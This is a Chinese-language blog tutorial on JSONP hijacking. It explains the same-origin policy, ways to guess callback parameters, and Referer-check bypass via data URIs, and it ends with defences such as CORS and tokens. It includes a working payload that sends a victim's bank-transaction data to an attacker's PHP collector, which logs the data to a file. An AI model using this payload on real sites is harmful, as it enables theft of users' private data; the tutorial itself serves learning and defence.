Fork me on GitHub

JSONP利用

参考文献:https://segmentfault.com/a/1190000009577990
http://www.codesec.net/view/172245.html
http://www.freebuf.com/articles/web/126347.html
https://www.jianshu.com:80/writer

https:协议; www:子域名; jianshu:主域名; 80:端口号;
跨域:用户对不同协议或不同域名或不同端口号的资源进行访问

同源策略规定:XHR对象(ajax功能实现所依赖的对象)只能访问与包含它的页面位于同一域中的资源,有利于预防一些恶意行为。
同源:即同一域,即相同协议&相同端口&相同域名&相同子域名
XHR对象:XMLHttpRequest 对象提供了对 HTTP 协议的完全的访问,包括 POST ,HEAD,GET。XHR 可以同步或异步地返回 Web 服务器的响应,并且能够以文本或者一个 DOM 文档的形式返回内容。XHR接口强制要求每个请求都具备严格的HTTP语义–应用提供数据和URL,浏览器格式化请求并管理每个连接的完整生命周期,所以XHR仅仅允许应用自定义一些HTTP首部,但更多的首部是不能自己设定的

在HTML语言中,不受同源策略的限制的标签:
1
2
3
4
<script>
<img>
<iframe>
<link>

JSONP解决跨域问题:
JSONP不能访问非本域的动态资源,但是类似js文件、样式、图片等静态资源是可以访问的,通过这个”漏洞”来解决跨域问题。用<script>标签中的src来写入跨域数据的url,这样就能绕过同源策略了。
JSONP常用于服务器与客户端跨源通信,JSONP只支持GET请求,不支持POST请求,JSONP基本语法:

1
callback({ "name": "kwan" , "msg": "获取成功" });

JSONP两部分组成:回调函数和里面的数据。回调函数是当响应到来时,应该在页面中调用的函数,一般是在发送过去的请求中指定。
JSONP原理:动态插入带有跨域url的<script>标签,然后调用回调函数,把我们需要的json数据作为参数传入,通过一些逻辑把数据显示在页面上。

利用场景
①在响应中回调函数被硬编码

  • 基础函数调用
  • 对象方法调用
    ②动态调用回调函数
  • URL完全可控(GET变量):回调函数在URL中指定,我们可以完全控制它。
  • URL部分可控(GET变量),但是附加有一个数字,每个会话都不同
  • URL可控,但最初不会显示在请求之中

最后一个场景涉及一个没有回调的API调用,因此没有可见的JSONP。 这可能发生在开发人员,为其他软件或代码留下隐藏的向后兼容性只是没有在重构时删除。 因此,当看到没有回调的API调用时,特别是如果JSON格式的数据已经在括号之间,手动添加回调到请求。

如果有以下API调用verysecurebank.ro/getAccountTransactions,我们可以尝试去猜猜回调函数的变量

1
2
verysecurebank.ro/getAccountTransactions?callback=test
verysecurebank.ro/getAccountTransactions?cb=test

其他的常见的函数回调名还有func、function、call、jsonp、jsonpcallback,jcb

基础数据抓取
将数据抓取回我们本地。以下为一个简单的JSONP数据抓取:

1
2
3
4
5
6
7
8
9
<script>
function test(data){
var xmlhttp = new XMLHttpRequest();
var url = "http://127.0.0.1/1.php?data=" + JSON.stringify(data);//data是一个对象,所以用JSON.stringify
xmlhttp.open("GET",url,true);
xmlhttp.send();
}
</script>
<script src="http://verysecurebank.ro/getAccountTransactions?callback=test"></script>

1.php内容

1
2
3
4
5
6
<?php
$data=$_GET['data'];
$f=fopen('data.txt','a');
fwrite($f,$data);
fclose($f);
?>

如果在响应头API请求头配置:

1
2
Content-type: application/json;charset=utf-8
X-Content-Type-Options:nosniff;

Console输出如下:

在响应中API请求头X-Content-Type-Options被设置为nosniffContent-Type必须设置为JavaScript(text/javascript, application/javascript, text/ecmascript等.)才能在所有浏览器中运行.

Referer检测绕过
使用data URI方案
如果这里有一个Referer检测,为了绕过检测我们可以选择不发送。可以引用Data URI。
构造一个不带HTTP Referer的请求,可以滥用data URI方案。因为我们正在处理的代码包含了引号,双引号,以及其他一些被阻止的语句,接着使用base64编码我们的payload(回调函数定义以及脚本包含)
data:text/plain;base64,our_base64_encoded_code

防止jsonp hacking
最直接最有效的方法便是CORS

1
2
3
4
完全移除JSONP函数
向API响应添加Access-Control-Allow-Origin header
使用跨域AJAX请求
添加Token
-------------本文结束感谢您的阅读-------------